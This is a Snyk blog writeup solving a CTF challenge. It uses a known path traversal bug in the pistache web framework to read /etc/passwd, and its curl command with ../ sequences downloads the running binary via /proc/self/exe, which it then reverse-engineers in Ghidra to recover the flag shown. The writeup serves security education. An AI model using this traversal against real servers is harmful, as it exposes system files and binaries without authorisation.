Skip to main content

Fetch the Flag CTF 2022 writeup: Not So Smart Fridge

Artikel von:
Antonio Gomes
wordpress-sync/feature-ctf-smart-fridge

10. November 2022

0 Min. Lesezeit

Thanks for playing Fetch with us! Congrats to the thousands of players who joined us for Fetch the Flag CTF. And a huge thanks to the Snykers that built, tested, and wrote up the challenges!

This Fetch the Flag CTF challenge starts with a warm welcome, giving us all the necessary information about our shiny new Smart Fridge Ultra SFU-3000! Exciting, right?

Isaac Asimov once predicted, “Whole, semi-prepared meals can be stored in the fridge and ready to eat. The kitchen facilities will be able to prepare ‘automatic meals’, heat the water and make coffee”. And here we are, using this fridge to order products and even play music using the fridge audio. This is awesome!

wordpress-sync/blog-fridge-welcome

Well, it was exciting until I figured out the Music feature was not available. And the Settings feature to update the fridge firmware was broken, so there was no way to upgrade it from pistache/0.0.3.20220107 to the latest one. At least we know our firmware version, since that will help us our goal here is to identify the flag and solve this challenge!

wordpress-sync/blog-fridge-system

Walkthrough

After accessing the web page of our Smart Fridge Ultra SFU-3000 —and being disappointed by its actual capabilities — by navigating to Settings we figured out the firmware is pistache/0.0.3.20220107. For those not familiar with pistache,it’s a modern HTTP and REST framework for C++, which is great as it gives clues regarding the software behind our challenge’s web page.

With this information, we can easily use Snyk Intel Vulnerability Database in order to search for any security issues related to pistache/0.0.3.20220107. By searching for pistache we find that Pistache is affected by a path traversal vulnerability, and that this vulnerability affects the version from our fridge’s firmware — 0.0.3.20220107. This is great, as we can try to exploit it, using the command suggested below in the PoC by Snyk.

wordpress-sync/blog-fridge-vulndb

By running curl --path-as-is, curl will not squash sequences of /../ from the full path. Also, it will enable us to get the results below that prove we managed to retrieve the list of users that have access to that system so we can take advantage of the path traversal vulnerability, and that we have a folder named doc.

1root:x:0:0:root:/root:/bin/bash
2daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3bin:x:2:2:bin:/bin:/usr/sbin/nologin
4sys:x:3:3:sys:/dev:/usr/sbin/nologin
5sync:×:4:65534:sync:/bin:/bin/sync
6games:x:5:60:games:/usr/games:/usr/sbin/nologin
7man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
13www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
14backup::34:34:backup:/var/backups:/usr/sin/nologin
15list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
16irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
18nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
19_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

Accessing the doc folder path will give us access to a swagger API document that enables us to identify the available endpoints of our web application (e.g. v1/system/flag/{flag}). At this point, we are already aware that we are dealing with a web application that is using pistache as a C++ binary.

wordpress-sync/blog-fridge-swagger

What’s next? We will take advantage of Linux’s proc. More specifically, /proc/self/exe that literally points to the currently running process, which in this case is the pistache web app binary. We do this by running the following command:

1curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

This will enable us to download the pistache binary. We will have to reverse engineer this binary in order to figure out what the flag is. First, we will need to download a software reverse engineering tool, and in this case, I will be using Ghidra (also available for MacOS users through brew).

With Ghidra, I’ll create new project, where I will import the .exe binary that we previously downloaded.

wordpress-sync/blog-fridge-ghidra-new

Now we finally arrived at the exciting part of the challenge, where we will start figuring out what this flag looks like! In Ghidra, we will filter results for “flag”, which will tell us that there’s a method named checkFlag where we can see it’s content in the image below in the Decompile: checkFlag - (exe) window.

wordpress-sync/blog-fridge-ghidra-filter

By looking into the decompiled window, we can see the expected size for the flag is 70 characters:

if lVar4 == 0x46. The constraint defined in the original code check says that lVar4 contains the length of the flag given in input, whilst 0x46 corresponds to 70 in decimal.

wordpress-sync/blog-fridge-length

If the condition above matches length == 70, we will see that another method named checkIndexes will be called.

wordpress-sync/blog-fridge-match

checkIndexes, as we can see in the image above and below, expects a flag string from the program, a vector containing a number of indexes, and a character — '7' in the image above.

wordpress-sync/blog-fridge-checkindexes

What does it mean? That for every checkIndexes call, we have a validation of character per n indexes positions, in order to figure out if the flag string is valid. The logic is to call all the checkIndexes, if all of them pass, it means that we successfully identified the flag. In order to figure out the flag we can either investigate the disassembled file and try to convert each local_* variable in hex to decimal and figure out the position

wordpress-sync/blog-fridge-positions
10xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59} corresponds to the list of indexes where the character `5` exists in the flag. Now we construct the flag:

1SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

Another way to identify all the indexes per allocated vector is through scripting (check the code), in order to achieve this we will export the program as a C/C++ file, then eliminate all the rest and take in consideration only the checkFlag method and have an additional script that will parse it, change local_* variables from hex to decimal, figuring out all the indexes for each character until reconstructing the flag.

wordpress-sync/blog-fridge-script

Smarter than a fridge

In this challenge, we learned how to use Snyk to identify a path traversal vulnerability of a C++ web application, access and download a binary of the running process, reverse it through the usage of Ghidra,  and figure out the flag by analyzing the decompiled binary. Fun!

That’s it, I hope you enjoyed our challenges and thanks for participating in our Snyk CTF 2022! Want to learn how we found all the other flags? Check out our Fetch the Flag solutions page to see how we did it.